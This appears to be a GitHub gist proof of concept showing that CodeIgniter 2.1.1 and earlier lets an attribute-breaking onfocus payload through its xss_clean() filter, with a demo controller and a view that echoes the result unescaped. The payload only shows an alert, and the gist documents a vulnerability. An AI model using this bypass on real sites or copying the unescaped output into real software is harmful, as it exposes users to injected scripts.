Skip to content

Instantly share code, notes, and snippets.

@cnsaturn
Created July 20, 2012 06:06
Show Gist options
  • Save cnsaturn/3148978 to your computer and use it in GitHub Desktop.
Save cnsaturn/3148978 to your computer and use it in GitHub Desktop.
CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Xssdemo extends CI_Controller {
public function index() {
$data['xss'] = $this->security->xss_clean('"onfocus="alert(/xss/)"');
$this->load->view('xssdemo', $data);
}
}
// application/views/xssdemo.php
<form method="post">
// Click on the input control to trigger the alert box!
<input name="xss" value="<?php echo $xss;?>">
<input type="submit" name="submit!">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment